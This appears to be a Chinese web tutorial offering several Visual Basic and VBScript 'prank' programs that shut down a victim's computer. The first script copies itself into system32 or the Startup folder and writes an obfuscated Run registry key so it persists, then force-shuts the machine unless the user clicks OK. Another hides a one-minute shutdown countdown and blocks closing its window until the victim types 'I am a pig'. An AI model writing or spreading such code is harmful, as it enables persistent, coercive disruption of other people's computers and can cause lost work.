VB关机恶搞小程序一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | Dim fs, dirwin, c,Wll, str,strr,r Set fs = CreateObject( "Scripting.FileSystemObject" ) Set dirwin = fs.GetSpecialFolder(1) Set Wll = WScript.CreateObject( "WScript.Shell" ) Set c = fs.GetFile(WScript.ScriptFullName) str = "HK" & "LM\SOFT" & "WARE\Micr" & "osoft\Win" & "dows\Curren" & "tVersion\R" & "un\wxb" if (fs.FileExists(dirwin& "\wxb.vbs" )) Then call Show_And_Do( "reg" ) elseif (fs.FileExists( "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs" )) Then call Show_And_Do( "Startup" ) else On Error Resume Next strr= "" Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs" , "REG_SZ" strr=Wll.Regread (str) if strr= "" then c.Copy( "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs" ) else c.Copy(dirwin& "\wxb.vbs" ) end if end if sub Show_And_Do(s) dim f r = MsgBox ( "警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!" , 4145, "MsgBox Example" ) If r = 1 Then if s= "Startup" then set f = fs.GetFile( "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs" ) f.Delete() elseif s= "reg" then Wll.RegDelete str set f = fs.GetFile(dirwin& "\wxb.vbs" ) f.Delete() end if Else wll.run "Shutdown.exe -s -f -t 0" End If end sub |
上面的有点复杂,那就来个稍微简单的
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 | Option Explicit Const SM_CLEANBOOT = 67 Const EWX_LOGOFF = 0 Const EWX_SHUTDOWN = 1 Const EWX_REBOOT = 2 Const EWX_FORCE = 4 Private Declare Function ExitWindowsEx Lib "user32" ( ByVal uFlags As Long , ByVal dwReserved As Long ) As Long Private Sub Form_Load() Call ExitWindowsEx(EWX_SHUTDOWN, 0) End Sub |
当你可以采用一个更加简单的写法
直接输入以下代码即可:
1 2 3 4 | Private Sub Form_Load() Shell "cmd /c shutdown -s -t 30" Rem 后面的 -t 0 表示0秒关机,如果去掉 -t 0 那么默认是30秒关机 End Sub |
方法三:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | Private Sub Command1_Click() If Text1 = "我是猪" Then Shell "cmd.exe /c shutdown -a" MsgBox "哈哈放过你吧!" , 64, "提示" End End If End Sub Private Sub Form_Load() MsgBox "哈哈你中招了、快说你是猪,否则1分钟就让你电脑关机" , 48, "提示" Shell "cmd.exe /c shutdown -s -t " & 60, vbHide End Sub Private Sub Form_Unload(Cancel As Integer ) g = MsgBox( "想关掉我???" , vbOKCancel + vbQuestion, "关闭窗口" ) If g = vbOK Then Cancel = 11 MsgBox "哈哈你关不掉我的快说我是猪吧" , 64, "提示" End If If g = 2 Then Cancel = 11 End If End Sub |